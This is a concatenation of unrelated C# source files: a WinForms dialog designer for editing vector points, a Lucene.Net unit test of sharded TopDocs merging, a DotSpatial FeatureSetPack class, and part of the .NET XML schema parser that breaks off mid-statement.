System.Drawing.SystemColors.ActiveCaptionText; this.treeView_points.FullRowSelect = true; this.treeView_points.Location = new System.Drawing.Point(12, 43); this.treeView_points.Name = "treeView_points"; this.treeView_points.Size = new System.Drawing.Size(190, 216); this.treeView_points.TabIndex = 2; this.treeView_points.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.treeView_points_AfterSelect); // // button_cancel // this.button_cancel.BackColor = System.Drawing.Color.White; this.button_cancel.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_cancel.FlatAppearance.BorderSize = 2; this.button_cancel.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_cancel.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_cancel.Image = ((System.Drawing.Image)(resources.GetObject("button_cancel.Image"))); this.button_cancel.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_cancel.Location = new System.Drawing.Point(374, 266); this.button_cancel.Name = "button_cancel"; this.button_cancel.Size = new System.Drawing.Size(82, 49); this.button_cancel.TabIndex = 1; this.button_cancel.Text = "Cancel"; this.button_cancel.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_cancel.UseVisualStyleBackColor = false; this.button_cancel.Click += new System.EventHandler(this.button_cancel_Click); // // button_ok // this.button_ok.BackColor = System.Drawing.Color.White; this.button_ok.FlatAppearance.BorderColor = System.Drawing.Color.Silver; this.button_ok.FlatAppearance.BorderSize = 2; this.button_ok.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button_ok.ForeColor = System.Drawing.SystemColors.ActiveCaptionText; this.button_ok.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft; this.button_ok.Location = new System.Drawing.Point(462, 266); this.button_ok.Name = "button_ok"; this.button_ok.Size = new System.Drawing.Size(56, 49); this.button_ok.TabIndex = 0; this.button_ok.Text = "Ok"; this.button_ok.TextAlign = System.Drawing.ContentAlignment.MiddleRight; this.button_ok.UseVisualStyleBackColor = false; this.button_ok.Click += new System.EventHandler(this.button_ok_Click); // // tabPage2 // this.tabPage2.Location = new System.Drawing.Point(4, 22); this.tabPage2.Name = "tabPage2"; this.tabPage2.Padding = new System.Windows.Forms.Padding(3); this.tabPage2.Size = new System.Drawing.Size(879, 331); this.tabPage2.TabIndex = 1; this.tabPage2.Text = "Info"; this.tabPage2.UseVisualStyleBackColor = true; // // tabPage3 // this.tabPage3.Location = new System.Drawing.Point(4, 22); this.tabPage3.Name = "tabPage3"; this.tabPage3.Padding = new System.Windows.Forms.Padding(3); this.tabPage3.Size = new System.Drawing.Size(879, 331); this.tabPage3.TabIndex = 2; this.tabPage3.Text = "Help"; this.tabPage3.UseVisualStyleBackColor = true; // // openFileDialog1 // this.openFileDialog1.FileName = "VectFile.pcv"; this.openFileDialog1.Filter = "PrRes Files(*.pcv)|*.pcv|PrRes Files(*.prres)|*.prres"; // // backgroundWorker1 // this.backgroundWorker1.DoWork += new System.ComponentModel.DoWorkEventHandler(this.backgroundWorker1_DoWork); this.backgroundWorker1.RunWorkerCompleted += new System.ComponentModel.RunWorkerCompletedEventHandler(this.backgroundWorker1_RunWorkerCompleted); // // backgroundWorker_proceed // this.backgroundWorker_proceed.DoWork += new System.ComponentModel.DoWorkEventHandler(this.backgroundWorker_proceed_DoWork); this.backgroundWorker_proceed.RunWorkerCompleted += new System.ComponentModel.RunWorkerCompletedEventHandler(this.backgroundWorker_proceed_RunWorkerCompleted); // // Form_Dialog_Edit // this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(232)))), ((int)(((byte)(237)))), ((int)(((byte)(245))))); this.ClientSize = new System.Drawing.Size(887, 357); this.Controls.Add(this.tabControl1); this.Font = new System.Drawing.Font("Cambria", 12F); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.MaximizeBox = false; this.MinimizeBox = false; this.Name = "Form_Dialog_Edit"; this.ShowIcon = false; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Edit"; this.Load += new System.EventHandler(this.Dialog_Edit_Load); this.MouseEnter += new System.EventHandler(this.Dialog_Edit_MouseEnter); this.MouseLeave += new System.EventHandler(this.Dialog_Edit_MouseLeave); this.tabControl1.ResumeLayout(false); this.tabPage1.ResumeLayout(false); this.tabPage1.PerformLayout(); this.panel_rotc.ResumeLayout(false); this.panel_rotc.PerformLayout(); this.panel_sdelete.ResumeLayout(false); this.panel_sdelete.PerformLayout(); this.panel_rotatec.ResumeLayout(false); this.panel_rotatec.PerformLayout(); this.panel_resize.ResumeLayout(false); this.panel_resize.PerformLayout(); this.panel_flip.ResumeLayout(false); this.panel_flip.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.groupBox2.ResumeLayout(false); this.groupBox1.ResumeLayout(false); this.ResumeLayout(false); } #endregion public System.Windows.Forms.TabControl tabControl1; public System.Windows.Forms.TabPage tabPage1; public System.Windows.Forms.Button button_cancel; public System.Windows.Forms.Button button_ok; public System.Windows.Forms.TabPage tabPage2; public System.Windows.Forms.Button button_delete; public System.Windows.Forms.TreeView treeView_points; public System.Windows.Forms.Button button_move; public System.Windows.Forms.Label label1; public System.Windows.Forms.Button button_openvector; public System.Windows.Forms.ComboBox comboBox1; public System.Windows.Forms.TreeView treeView_pointsex; public System.Windows.Forms.Button button_merge; public System.Windows.Forms.Button button_resize; public System.Windows.Forms.Button button_smdelete; public System.Windows.Forms.Button button_rotatec; public System.Windows.Forms.Button button_rotate; public System.Windows.Forms.Button button_flip; public System.Windows.Forms.OpenFileDialog openFileDialog1; public System.Windows.Forms.Button button_vectinfo; public System.Windows.Forms.TabPage tabPage3; public System.Windows.Forms.GroupBox groupBox2; public System.Windows.Forms.GroupBox groupBox1; public MRG.Controls.UI.LoadingCircle loadingCircle1; public System.ComponentModel.BackgroundWorker backgroundWorker1; public System.Windows.Forms.Label label4; public System.Windows.Forms.Label label_ndresol; public System.Windows.Forms.Label label_2ndname; public System.Windows.Forms.PictureBox pictureBox1; public System.Windows.Forms.Button button1; public MRG.Controls.UI.LoadingCircle loadingCircle2; public System.ComponentModel.BackgroundWorker backgroundWorker_proceed; public System.Windows.Forms.Panel panel_resize; public System.Windows.Forms.TextBox textBox_newheight; public System.Windows.Forms.TextBox textBox_newwith; public System.Windows.Forms.CheckBox checkBox_keepratio; public System.Windows.Forms.Button button_resize_cansel; public System.Windows.Forms.Button button_resize_ok; public System.Windows.Forms.Panel panel_flip; public System.Windows.Forms.Button button_flip_cancel; public System.Windows.Forms.Button button_flip_ok; public System.Windows.Forms.RadioButton radioButton_yflip; public System.Windows.Forms.RadioButton radioButton_xflip; public System.Windows.Forms.Panel panel_sdelete; public System.Windows.Forms.Label label_sd_threshold; public System.Windows.Forms.TextBox textBox_sd_threshold; public System.Windows.Forms.Button button_sd_cancel; public System.Windows.Forms.Button button_sd_ok; public System.Windows.Forms.Panel panel_rotatec; public System.Windows.Forms.RadioButton radioButton_270deg; public System.Windows.Forms.RadioButton radioButton_180deg; public System.Windows.Forms.RadioButton radioButton_90deg; public System.Windows.Forms.Button button_rot_cancel; public System.Windows.Forms.Button button_rot_ok; public System.Windows.Forms.Label label_newwidth; public System.Windows.Forms.Label label_newheight; public System.Windows.Forms.Panel panel_rotc; public System.Windows.Forms.Label label_rotatecenter; public System.Windows.Forms.ComboBox comboBox_rotatecenter; public System.Windows.Forms.Label label_angle; public System.Windows.Forms.TextBox textBox_anglec; public System.Windows.Forms.Button button_rotc_cancel; public System.Windows.Forms.Button button_rotc_ok; } }
using System; using System.Collections.Generic; using System.Text; using Lucene.Net.Documents; using Lucene.Net.Util; namespace Lucene.Net.Search { using Lucene.Net.Randomized.Generators; using NUnit.Framework; using AtomicReaderContext = Lucene.Net.Index.AtomicReaderContext; using CompositeReaderContext = Lucene.Net.Index.CompositeReaderContext; using Directory = Lucene.Net.Store.Directory; /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using Document = Documents.Document; using Field = Field; using FloatField = FloatField; using IndexReader = Lucene.Net.Index.IndexReader; using IndexReaderContext = Lucene.Net.Index.IndexReaderContext; using IntField = IntField; using LuceneTestCase = Lucene.Net.Util.LuceneTestCase; using RandomIndexWriter = Lucene.Net.Index.RandomIndexWriter; using ReaderUtil = Lucene.Net.Index.ReaderUtil; using Term = Lucene.Net.Index.Term; using TestUtil = Lucene.Net.Util.TestUtil; [TestFixture] public class TestTopDocsMerge : LuceneTestCaseWithReducedFloatPrecision { private class ShardSearcher : IndexSearcher { private readonly IList<AtomicReaderContext> Ctx; public ShardSearcher(AtomicReaderContext ctx, IndexReaderContext parent) : base(parent) { this.Ctx = new List<AtomicReaderContext> { ctx }; } public virtual void Search(Weight weight, Collector collector) { Search(Ctx, weight, collector); } public virtual TopDocs Search(Weight weight, int topN) { return Search(Ctx, weight, null, topN); } public override string ToString() { return "ShardSearcher(" + Ctx[0] + ")"; } } [Test] public virtual void TestSort_1() { TestSort(false); } [Test] public virtual void TestSort_2() { TestSort(true); } internal virtual void TestSort(bool useFrom) { IndexReader reader = null; Directory dir = null; int numDocs = AtLeast(1000); //final int numDocs = AtLeast(50); string[] tokens = new string[] { "a", "b", "c", "d", "e" }; if (VERBOSE) { Console.WriteLine("TEST: make index"); } { dir = NewDirectory(); RandomIndexWriter w = new RandomIndexWriter(Random(), dir); // w.setDoRandomForceMerge(false); // w.w.getConfig().SetMaxBufferedDocs(AtLeast(100)); string[] content = new string[AtLeast(20)]; for (int contentIDX = 0; contentIDX < content.Length; contentIDX++) { StringBuilder sb = new StringBuilder(); int numTokens = TestUtil.NextInt(Random(), 1, 10); for (int tokenIDX = 0; tokenIDX < numTokens; tokenIDX++) { sb.Append(tokens[Random().Next(tokens.Length)]).Append(' '); } content[contentIDX] = sb.ToString(); } for (int docIDX = 0; docIDX < numDocs; docIDX++) { Document doc = new Document(); doc.Add(NewStringField("string", TestUtil.RandomRealisticUnicodeString(Random()), Field.Store.NO)); doc.Add(NewTextField("text", content[Random().Next(content.Length)], Field.Store.NO)); doc.Add(new FloatField("float", (float)Random().NextDouble(), Field.Store.NO)); int intValue; if (Random().Next(100) == 17) { intValue = int.MinValue; } else if (Random().Next(100) == 17) { intValue = int.MaxValue; } else { intValue = Random().Next(); } doc.Add(new IntField("int", intValue, Field.Store.NO)); if (VERBOSE) { Console.WriteLine(" doc=" + doc); } w.AddDocument(doc); } reader = w.Reader; w.Dispose(); } // NOTE: sometimes reader has just one segment, which is // important to test IndexSearcher searcher = NewSearcher(reader); IndexReaderContext ctx = searcher.TopReaderContext; ShardSearcher[] subSearchers; int[] docStarts; if (ctx is AtomicReaderContext) { subSearchers = new ShardSearcher[1]; docStarts = new int[1]; subSearchers[0] = new ShardSearcher((AtomicReaderContext)ctx, ctx); docStarts[0] = 0; } else { CompositeReaderContext compCTX = (CompositeReaderContext)ctx; int size = compCTX.Leaves.Count; subSearchers = new ShardSearcher[size]; docStarts = new int[size]; int docBase = 0; for (int searcherIDX = 0; searcherIDX < subSearchers.Length; searcherIDX++) { AtomicReaderContext leave = compCTX.Leaves[searcherIDX]; subSearchers[searcherIDX] = new ShardSearcher(leave, compCTX); docStarts[searcherIDX] = docBase; docBase += leave.Reader.MaxDoc; } } IList<SortField> sortFields = new List<SortField>(); sortFields.Add(new SortField("string", SortField.Type_e.STRING, true)); sortFields.Add(new SortField("string", SortField.Type_e.STRING, false)); sortFields.Add(new SortField("int", SortField.Type_e.INT, true)); sortFields.Add(new SortField("int", SortField.Type_e.INT, false)); sortFields.Add(new SortField("float", SortField.Type_e.FLOAT, true)); sortFields.Add(new SortField("float", SortField.Type_e.FLOAT, false)); sortFields.Add(new SortField(null, SortField.Type_e.SCORE, true)); sortFields.Add(new SortField(null, SortField.Type_e.SCORE, false)); sortFields.Add(new SortField(null, SortField.Type_e.DOC, true)); sortFields.Add(new SortField(null, SortField.Type_e.DOC, false)); for (int iter = 0; iter < 1000 * RANDOM_MULTIPLIER; iter++) { // TODO: custom FieldComp... Query query = new TermQuery(new Term("text", tokens[Random().Next(tokens.Length)])); Sort sort; if (Random().Next(10) == 4) { // Sort by score sort = null; } else { SortField[] randomSortFields = new SortField[TestUtil.NextInt(Random(), 1, 3)]; for (int sortIDX = 0; sortIDX < randomSortFields.Length; sortIDX++) { randomSortFields[sortIDX] = sortFields[Random().Next(sortFields.Count)]; } sort = new Sort(randomSortFields); } int numHits = TestUtil.NextInt(Random(), 1, numDocs + 5); //final int numHits = 5; if (VERBOSE) { Console.WriteLine("TEST: search query=" + query + " sort=" + sort + " numHits=" + numHits); } int from = -1; int size = -1; // First search on whole index: TopDocs topHits; if (sort == null) { if (useFrom) { TopScoreDocCollector c = TopScoreDocCollector.Create(numHits, Random().NextBoolean()); searcher.Search(query, c); from = TestUtil.NextInt(Random(), 0, numHits - 1); size = numHits - from; TopDocs tempTopHits = c.TopDocs(); if (from < tempTopHits.ScoreDocs.Length) { // Can't use TopDocs#topDocs(start, howMany), since it has different behaviour when start >= hitCount // than TopDocs#merge currently has ScoreDoc[] newScoreDocs = new ScoreDoc[Math.Min(size, tempTopHits.ScoreDocs.Length - from)]; Array.Copy(tempTopHits.ScoreDocs, from, newScoreDocs, 0, newScoreDocs.Length); tempTopHits.ScoreDocs = newScoreDocs; topHits = tempTopHits; } else { topHits = new TopDocs(tempTopHits.TotalHits, new ScoreDoc[0], tempTopHits.MaxScore); } } else { topHits = searcher.Search(query, numHits); } } else { TopFieldCollector c = TopFieldCollector.Create(sort, numHits, true, true, true, Random().NextBoolean()); searcher.Search(query, c); if (useFrom) { from = TestUtil.NextInt(Random(), 0, numHits - 1); size = numHits - from; TopDocs tempTopHits = c.TopDocs(); if (from < tempTopHits.ScoreDocs.Length) { // Can't use TopDocs#topDocs(start, howMany), since it has different behaviour when start >= hitCount // than TopDocs#merge currently has ScoreDoc[] newScoreDocs = new ScoreDoc[Math.Min(size, tempTopHits.ScoreDocs.Length - from)]; Array.Copy(tempTopHits.ScoreDocs, from, newScoreDocs, 0, newScoreDocs.Length); tempTopHits.ScoreDocs = newScoreDocs; topHits = tempTopHits; } else { topHits = new TopDocs(tempTopHits.TotalHits, new ScoreDoc[0], tempTopHits.MaxScore); } } else { topHits = c.TopDocs(0, numHits); } } if (VERBOSE) { if (useFrom) { Console.WriteLine("from=" + from + " size=" + size); } Console.WriteLine(" top search: " + topHits.TotalHits + " totalHits; hits=" + (topHits.ScoreDocs == null ? "null" : topHits.ScoreDocs.Length + " maxScore=" + topHits.MaxScore)); if (topHits.ScoreDocs != null) { for (int hitIDX = 0; hitIDX < topHits.ScoreDocs.Length; hitIDX++) { ScoreDoc sd = topHits.ScoreDocs[hitIDX]; Console.WriteLine(" doc=" + sd.Doc + " score=" + sd.Score); } } } // ... then all shards: Weight w = searcher.CreateNormalizedWeight(query); TopDocs[] shardHits = new TopDocs[subSearchers.Length]; for (int shardIDX = 0; shardIDX < subSearchers.Length; shardIDX++) { TopDocs subHits; ShardSearcher subSearcher = subSearchers[shardIDX]; if (sort == null) { subHits = subSearcher.Search(w, numHits); } else { TopFieldCollector c = TopFieldCollector.Create(sort, numHits, true, true, true, Random().NextBoolean()); subSearcher.Search(w, c); subHits = c.TopDocs(0, numHits); } shardHits[shardIDX] = subHits; if (VERBOSE) { Console.WriteLine(" shard=" + shardIDX + " " + subHits.TotalHits + " totalHits hits=" + (subHits.ScoreDocs == null ? "null" : subHits.ScoreDocs.Length.ToString())); if (subHits.ScoreDocs != null) { foreach (ScoreDoc sd in subHits.ScoreDocs) { Console.WriteLine(" doc=" + sd.Doc + " score=" + sd.Score); } } } } // Merge: TopDocs mergedHits; if (useFrom) { mergedHits = TopDocs.Merge(sort, from, size, shardHits); } else { mergedHits = TopDocs.Merge(sort, numHits, shardHits); } if (mergedHits.ScoreDocs != null) { // Make sure the returned shards are correct: for (int hitIDX = 0; hitIDX < mergedHits.ScoreDocs.Length; hitIDX++) { ScoreDoc sd = mergedHits.ScoreDocs[hitIDX]; Assert.AreEqual(ReaderUtil.SubIndex(sd.Doc, docStarts), sd.ShardIndex, "doc=" + sd.Doc + " wrong shard"); } } TestUtil.AssertEquals(topHits, mergedHits); } reader.Dispose(); dir.Dispose(); } } }
// Copyright (c) DotSpatial Team. All rights reserved. // Licensed under the MIT license. See License.txt file in the project root for full license information. using System; using System.Collections; using System.Collections.Generic; namespace DotSpatial.Data { /// <summary> /// The FeatureSetPack contains a MultiPoint, Line and Polygon FeatureSet which can /// handle the various types of geometries that can arrive from a mixed geometry. /// </summary> public class FeatureSetPack : IEnumerable<IFeatureSet> { #region Variables private int _lineLength; private List<double[]> _lineVertices; private int _pointLength; private List<double[]> _pointVertices; private int _polygonLength; /// <summary> /// Stores the raw vertices from the different shapes in a list while being created. /// That way, the final array can be created one time. /// </summary> private List<double[]> _polygonVertices; #endregion /// <summary> /// Initializes a new instance of the <see cref="FeatureSetPack"/> class. /// </summary> public FeatureSetPack() { Polygons = new FeatureSet(FeatureType.Polygon) { IndexMode = true }; Points = new FeatureSet(FeatureType.MultiPoint) { IndexMode = true }; Lines = new FeatureSet(FeatureType.Line) { IndexMode = true }; _polygonVertices = new List<double[]>(); _pointVertices = new List<double[]>(); _lineVertices = new List<double[]>(); } #region Properties /// <summary> /// Gets or sets the featureset with all the lines. /// </summary> public IFeatureSet Lines { get; set; } /// <summary> /// Gets or sets the featureset with all the points. /// </summary> public IFeatureSet Points { get; set; } /// <summary> /// Gets or sets the featureset with all the polygons. /// </summary> public IFeatureSet Polygons { get; set; } #endregion #region Methods /// <summary> /// Combines the vertices, finalizing the creation. /// </summary> /// <param name="verts">List of the vertices that get combined.</param> /// <param name="length">Number of all the vertices inside verts.</param> /// <returns>A double array containing all vertices.</returns> public static double[] Combine(IEnumerable<double[]> verts, int length) { double[] result = new double[length * 2]; int offset = 0; foreach (double[] shape in verts) { Array.Copy(shape, 0, result, offset, shape.Length); offset += shape.Length; } return result; } /// <summary> /// Adds the shape. Assumes that the "part" indices are created with a 0 base, and the number of /// vertices is specified. The start range of each part will be updated with the new shape range. /// The vertices array itself iwll be updated during hte stop editing step. /// </summary> /// <param name="shapeVertices">Vertices of the shape that gets added.</param> /// <param name="shape">Shape that gets added.</param> public void Add(double[] shapeVertices, ShapeRange shape) { if (shape.FeatureType == FeatureType.Point || shape.FeatureType == FeatureType.MultiPoint) { _pointVertices.Add(shapeVertices); shape.StartIndex = _pointLength / 2; // point offset, not double offset Points.ShapeIndices.Add(shape); _pointLength += shapeVertices.Length; } if (shape.FeatureType == FeatureType.Line) { _lineVertices.Add(shapeVertices); shape.StartIndex = _lineLength / 2; // point offset Lines.ShapeIndices.Add(shape); _lineLength += shapeVertices.Length; } if (shape.FeatureType == FeatureType.Polygon) { _polygonVertices.Add(shapeVertices); shape.StartIndex = _polygonLength / 2; // point offset Polygons.ShapeIndices.Add(shape); _polygonLength += shapeVertices.Length / 2; } } /// <summary> /// Clears the vertices and sets up new featuresets. /// </summary> public void Clear() { _polygonVertices = new List<double[]>(); _pointVertices = new List<double[]>(); _lineVertices = new List<double[]>(); Polygons = new FeatureSet(FeatureType.Polygon) { IndexMode = true }; Points = new FeatureSet(FeatureType.MultiPoint) { IndexMode = true }; Lines = new FeatureSet(FeatureType.Line) { IndexMode = true }; _lineLength = 0; _polygonLength = 0; _pointLength = 0; } /// <inheritdoc /> public IEnumerator<IFeatureSet> GetEnumerator() { return new FeatureSetPackEnumerator(this); } /// <summary> /// Finishes the featuresets by converting the lists. /// </summary> public void StopEditing() { Points.Vertex = Combine(_pointVertices, _pointLength); Points.UpdateExtent(); Lines.Vertex = Combine(_lineVertices, _lineLength); Lines.UpdateExtent(); Polygons.Vertex = Combine(_polygonVertices, _polygonLength); Polygons.UpdateExtent(); } /// <inheritdoc/> IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } #endregion #region Classes /// <summary> /// Enuemratres the FeatureSetPack in Polygon, Line, Point order. If any member is null, it skips that member. /// </summary> private class FeatureSetPackEnumerator : IEnumerator<IFeatureSet> { private readonly FeatureSetPack _parent; private int _index; /// <summary> /// Initializes a new instance of the <see cref="FeatureSetPackEnumerator"/> class based on the specified FeaturSetPack. /// </summary> /// <param name="parent">The Pack</param> public FeatureSetPackEnumerator(FeatureSetPack parent) { _parent = parent; _index = -1; } /// <inheritdoc /> public IFeatureSet Current { get; private set; } object IEnumerator.Current => Current; /// <inheritdoc /> public void Dispose() { } /// <inheritdoc /> public bool MoveNext() { Current = null; while (Current?.Vertex == null || Current.Vertex.Length == 0) { _index++; if (_index > 2) return false; switch (_index) { case 0: Current = _parent.Polygons; break; case 1: Current = _parent.Lines; break; case 2: Current = _parent.Points; break; } } return true; } /// <inheritdoc /> public void Reset() { _index = -1; Current = null; } } #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. namespace System.Xml.Schema { using System; using System.Collections; using System.Globalization; using System.Text; using System.IO; using System.Diagnostics; internal sealed partial class Parser { private SchemaType _schemaType; private XmlNameTable _nameTable; private SchemaNames _schemaNames; private ValidationEventHandler _eventHandler; private XmlNamespaceManager _namespaceManager; private XmlReader _reader; private PositionInfo _positionInfo; private bool _isProcessNamespaces; private int _schemaXmlDepth = 0; private int _markupDepth; private SchemaBuilder _builder; private XmlSchema _schema; private SchemaInfo _xdrSchema; private XmlResolver _xmlResolver = null; //to be used only by XDRBuilder //xs:Annotation perf fix private XmlDocument _dummyDocument; private bool _processMarkup; private XmlNode _parentNode; private XmlNamespaceManager _annotationNSManager; private string _xmlns; //Whitespace check for text nodes private XmlCharType _xmlCharType = XmlCharType.Instance; public Parser(SchemaType schemaType, XmlNameTable nameTable, SchemaNames schemaNames, ValidationEventHandler eventHandler) { _schemaType = schemaType; _nameTable = nameTable; _schemaNames = schemaNames; _eventHandler = eventHandler; _xmlResolver = null; _processMarkup = true; _dummyDocument = new XmlDocument(); } public SchemaType Parse(XmlReader reader, string targetNamespace) { StartParsing(reader, targetNamespace); while (ParseReaderNode() && reader.Read()) { } return FinishParsing(); } public void StartParsing(XmlReader reader, string targetNamespace) { _reader = reader; _positionInfo = PositionInfo.GetPositionInfo(reader); _namespaceManager = reader.NamespaceManager; if (_namespaceManager == null) { _namespaceManager = new XmlNamespaceManager(_nameTable); _isProcessNamespaces = true; } else { _isProcessNamespaces = false; } while (reader.NodeType != XmlNodeType.Element && reader.Read()) { } _markupDepth = int.MaxValue; _schemaXmlDepth = reader.Depth; SchemaType rootType = _schemaNames.SchemaTypeFromRoot(reader.LocalName, reader.NamespaceURI); string code; if (!CheckSchemaRoot(rootType, out code)) { throw new XmlSchemaException(code, reader.BaseURI, _positionInfo.LineNumber, _positionInfo.LinePosition); } if (_schemaType == SchemaType.XSD) { _schema = new XmlSchema(); _schema.BaseUri = new Uri(reader.BaseURI, UriKind.RelativeOrAbsolute); _builder = new XsdBuilder(reader, _namespaceManager, _schema, _nameTable, _schemaNames, _eventHandler); } else { Debug.Assert(_schemaType == SchemaType.XDR); _xdrSchema = new SchemaInfo(); _xdrSchema.SchemaType = SchemaType.XDR; _builder = new XdrBuilder(reader, _namespaceManager, _xdrSchema, targetNamespace, _nameTable, _schemaNames, _eventHandler); ((XdrBuilder)_builder).XmlResolver = _xmlResolver; } } private bool CheckSchemaRoot(SchemaType rootType, out string code) { code = null; if (_schemaType == SchemaType.None) { _schemaType = rootType; } switch (rootType) { case SchemaType.XSD: if (_schemaType != SchemaType.XSD) { code = SR.Sch_MixSchemaTypes; return false; } break; case SchemaType.XDR: if (_schemaType == SchemaType.XSD) { code = SR.Sch_XSDSchemaOnly; return false; } else if (_schemaType != SchemaType.XDR) { code = SR.Sch_MixSchemaTypes; return false; } break; case SchemaType.DTD: //Did not detect schema type that can be parsed by this parser case SchemaType.None: code = SR.Sch_SchemaRootExpected; if (_schemaType == SchemaType.XSD) { code = SR.Sch_XSDSchemaRootExpected; } return false; default: Debug.Assert(false); break; } return true; } public SchemaType FinishParsing() { return _schemaType; } public XmlSchema XmlSchema { get { return _schema; } } internal XmlResolver XmlResolver { set { _xmlResolver = value; } } public SchemaInfo XdrSchema { get { return _xdrSchema; } } public bool ParseReaderNode() { if (_reader.Depth > _markupDepth) { if (_processMarkup) { ProcessAppInfoDocMarkup(false); } return true; } else if (_reader.NodeType == XmlNodeType.Element) { if (_builder.ProcessElement(_reader.Prefix, _reader.LocalName, _reader.NamespaceURI)) { _namespaceManager.PushScope(); if (_reader.MoveToFirstAttribute()) { do { _builder.ProcessAttribute(_reader.Prefix, _reader.LocalName, _reader.NamespaceURI, _reader.Value); if (Ref.Equal(_reader.NamespaceURI, _schemaNames.NsXmlNs) && _isProcessNamespaces) { _namespaceManager.AddNamespace(_reader.Prefix.Length == 0 ? string.Empty : _reader.LocalName, _reader.Value); } } while (_reader.MoveToNextAttribute()); _reader.MoveToElement(); // get back to the element } _builder.StartChildren(); if (_reader.IsEmptyElement) { _namespaceManager.PopScope(); _builder.EndChildren(); if (_reader.Depth == _schemaXmlDepth) { return false; // done } } else if (!_builder.IsContentParsed()) { //AppInfo and Documentation _markupDepth = _reader.Depth; _processMarkup = true; if (_annotationNSManager == null) { _annotationNSManager = new XmlNamespaceManager(_nameTable); _xmlns = _nameTable.Add("xmlns"); } ProcessAppInfoDocMarkup(true); } } else if (!_reader.IsEmptyElement) { //UnsupportedElement in that context _markupDepth = _reader.Depth; _processMarkup = false; //Hack to not process unsupported elements } } else if (_reader.NodeType == XmlNodeType.Text) { //Check for whitespace if (!_xmlCharType.IsOnlyWhitespace(_reader.Value)) { _builder.ProcessCData(_reader.Value); } } else if (_reader.NodeType == XmlNodeType.EntityReference || _reader.NodeType == XmlNodeType.SignificantWhitespace || _reader.NodeType == XmlNodeType.CDATA) { _builder.ProcessCData(_reader.Value); } else if (_reader.NodeType == XmlNodeType.EndElement) { if (_reader.Depth == _markupDepth) { if (_processMarkup) { Debug.Assert(_parentNode != null); XmlNodeList list = _parentNode.ChildNodes; XmlNode[] markup = new XmlNode[list.Count]; for (int i = 0; i < list.Count; i++) { markup[i] = list[i]; } _builder.ProcessMarkup(markup); _namespaceManager.PopScope(); _builder.EndChildren(); } _markupDepth = int.MaxValue; } else { _namespaceManager.PopScope(); _builder.EndChildren(); } if (_reader.Depth == _schemaXmlDepth) { return false; // done } } return true; } private void ProcessAppInfoDocMarkup(bool root) { //First time reader is positioned on AppInfo or Documentation element XmlNode currentNode = null; switch (_reader.NodeType) { case XmlNodeType.Element: _annotationNSManager.PushScope(); currentNode = LoadElementNode(root); // Dev10 (TFS) #479761: The following code was to address the issue of where an in-scope namespace delaration attribute // was not added when an element follows an empty element. This fix will result in persisting schema in a consistent form // although it does not change the semantic meaning of the schema. // Since it is as a breaking change and Dev10 needs to maintain the backward compatibility, this fix is being reverted. // if (reader.IsEmptyElement) { // annotationNSManager.PopScope(); // } break; case XmlNodeType.Text: currentNode = _dummyDocument.CreateTextNode(_reader.Value); goto default; case XmlNodeType.SignificantWhitespace: currentNode = _dummyDocument.CreateSignificantWhitespace(_reader.Value); goto default; case XmlNodeType.CDATA: currentNode = _dummyDocument.CreateCDataSection(_reader.Value); goto default; case XmlNodeType.EntityReference: currentNode = _dummyDocument.CreateEntityReference(_reader.Name); goto default; case XmlNodeType.Comment: currentNode = _dummyDocument.CreateComment(_reader.Value); goto default; case XmlNodeType.ProcessingInstruction: currentNode = _dummyDocument.CreateProcessingInstruction(_reader.Name, _reader.Value); goto default; case XmlNodeType.EndEntity: break; case XmlNodeType.Whitespace: break; case XmlNodeType.EndElement: _annotationNSManager.PopScope(); _parentNode = _parentNode.ParentNode; break; default: //other possible node types: Document/DocType/DocumentFrag/Entity/Notation/Xmldecl cannot appear as children of xs:appInfo or xs:doc Debug.Assert(currentNode != null); Debug.Assert(_parentNode != null); _parentNode.AppendChild(currentNode); break; } } private XmlElement LoadElementNode(bool root) { Debug.Assert(_reader.NodeType == XmlNodeType.Element); XmlReader r = _reader; bool fEmptyElement = r.IsEmptyElement; XmlElement element = _dummyDocument.CreateElement(r.Prefix, r.LocalName, r.NamespaceURI); element.IsEmpty = fEmptyElement; if (root) { _parentNode = element; } else { XmlAttributeCollection attributes = element.Attributes; if (r.MoveToFirstAttribute()) { do { if (Ref.Equal(r.NamespaceURI, _schemaNames.NsXmlNs)) { //Namespace Attribute _annotationNSManager.AddNamespace(r.Prefix.Length == 0 ? string.Empty : _reader.LocalName, _reader.Value); } XmlAttribute attr = LoadAttributeNode(); attributes.Append(attr); } while (r.MoveToNextAttribute()); } r.MoveToElement(); string ns = _annotationNSManager.LookupNamespace(r.Prefix); if (ns == null) { XmlAttribute attr = CreateXmlNsAttribute(r.Prefix, _namespaceManager.LookupNamespace(r.Prefix)); attributes.Append(attr); } else if (ns.Length == 0) { //string.Empty prefix is mapped to string.Empty NS by default string elemNS = _namespaceManager.LookupNamespace(r.Prefix); if (elemNS != string.Empty) { XmlAttribute attr = CreateXmlNsAttribute(r.Prefix, elemNS); attributes.Append(attr); } } while (r.MoveToNextAttribute()) { if (r.Prefix.Length != 0) { string attNS = _annotationNSManager.LookupNamespace(r.Prefix); if (attNS == null) { XmlAttribute 